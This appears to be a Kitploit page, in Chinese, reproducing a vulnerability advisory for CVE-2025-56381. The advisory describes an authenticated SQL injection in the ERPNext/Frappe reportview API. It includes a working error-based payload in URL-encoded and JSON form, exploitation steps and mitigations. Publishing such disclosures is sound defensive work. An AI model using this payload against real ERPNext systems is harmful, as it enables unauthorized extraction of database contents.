Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-56381 — ERPNEXT v15.67.0 被发现包含多个 SQL 注入漏洞,位于 /api/method/frappe.desk.reportview.get 端点中,通过 order_by 和 group_by 参数触发。 | Kitploit
工具/GitHubGitHub/moalali/cve-2025-56381
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubmoalali/cve-2025-56381

CVE-2025-56381

ERPNEXT v15.67.0 被发现包含多个 SQL 注入漏洞,位于 /api/method/frappe.desk.reportview.get 端点中,通过 order_by 和 group_by 参数触发。

查看仓库
110个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-56381 — ERPNext / Frappe 中通过 order_by 和 group_by 参数实现的身份验证后 SQL 注入

📌 摘要 ERPNext v15.67.0 和 Frappe Framework v15.72.4 在 frappe.desk.reportview.get API 端点中包含多个身份验证后的 SQL 注入漏洞。对 order_by 或 group_by 参数的恶意输入可用于注入并执行任意 SQL 语句。这使得经过身份验证的用户(具有报表的基本访问权限)能够提取敏感数据、执行数据库枚举,并可能操纵或提升系统内的权限。


🛠 技术细节

  • 漏洞类型: SQL 注入(CWE-89)

  • 受影响产品: ERPNext / Frappe

  • 受影响版本:

    • Frappe — 15.72.4
    • ERPNext — 15.67.0
  • 受影响端点:

    root@kitploit:~
    POST /api/method/frappe.desk.reportview.get
    
  • 易受攻击的参数:

    • order_by
    • group_by
  • 是否需要身份验证: 是(通过 sid cookie 的有效会话)

  • 攻击类型: 远程

  • 严重性: 高(SQL 代码执行、数据泄露、潜在权限提升)

  • 预估 CVSS v3.1 评分: 8.6(高) — 预估;最终评分应由官方 CVE 机构指定。

  • 状态: 未修复(截至披露时)

  • 发现者: Mohammed Aloli(GitHub、X、LinkedIn)

  • CVE ID: CVE-2025-56381


  • 🚀 概念验证(PoC)— 基于错误的 SQL 注入

    image

    ✅ 仅在您拥有或已获得明确许可的系统上进行测试。未经同意,不要在生产系统上使用。

    ❗ 载荷(URL 编码):

    root@kitploit:~
    %28select%20updatexml%28null%2Cconcat%280x7e%2Cdatabase%28%29%2C0x7e%29%2Cnull%29%29
    

    示例 JSON 请求体(POST 请求):

    root@kitploit:~
    {
      "doctype": "User",
      "order_by": "(select updatexml(null,concat(0x7e,database(),0x7e),null))"
    }
    

    这确认了 SQL 注入已成功执行,并且当前数据库名称已被泄露。


    🧪 利用场景

    1. 攻击者以基本权限(例如,访问标准报表的权限)登录 ERPNext/Frappe 实例。
    2. 向 /api/method/frappe.desk.reportview.get 发送一个带有恶意 order_by 或 group_by 载荷的精心构造的 POST 请求。
    3. 后端在未进行清理的情况下,将此值直接注入到 SQL 查询中。
    4. 攻击者看到数据库错误,其中揭示了注入的输出——从而确认注入成功。
    5. 根据底层数据库配置,同样的技术可以与基于时间的载荷、基于 UNION 的注入或权限提升路径相结合。

    🔐 缓解建议

    1. 使用参数化查询: 所有用户输入都必须安全绑定,绝不直接拼接到 SQL 查询中。
    2. 严格输入验证: 在处理之前,根据已知的可接受列名白名单验证 order_by 和 group_by。
    3. 正确转义标识符: 如果需要动态使用,请使用特定于 DBMS 的列/字段标识符转义方法。
    4. 最小化暴露面: 根据用户角色和信任级别,限制对 /reportview.get API 和报表功能的访问。
    5. 清理日志: 避免记录原始注入载荷,以防止在审计系统中泄露。
    6. API 请求速率限制: 限制高频 API 调用,以减少盲注或基于错误的枚举尝试的影响。
    7. 应用补丁: Frappe 维护者应发布补丁以保护此端点,并审计其他 frappe.desk 方法。操作员应在补丁可用后立即升级。

    🔗 参考

    • 发现者:Mohammed Aloli

      • GitHub:MoAlali
      • X(Twitter):@alaliksa_
    • Frappe Framework:https://github.com/frappe/frappe

    • ERPNext 项目:https://github.com/frappe/erpnext

    • OWASP SQL 注入速查表:https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

    📢 免责声明

    本公告仅用于教育和防御性安全研究目的。未经授权利用此漏洞是非法的且不道德的。如果您是 ERPNext 或 Frappe 的开发人员或管理员,请立即应用建议的缓解措施,并监控异常的 API 使用情况。


    下载工具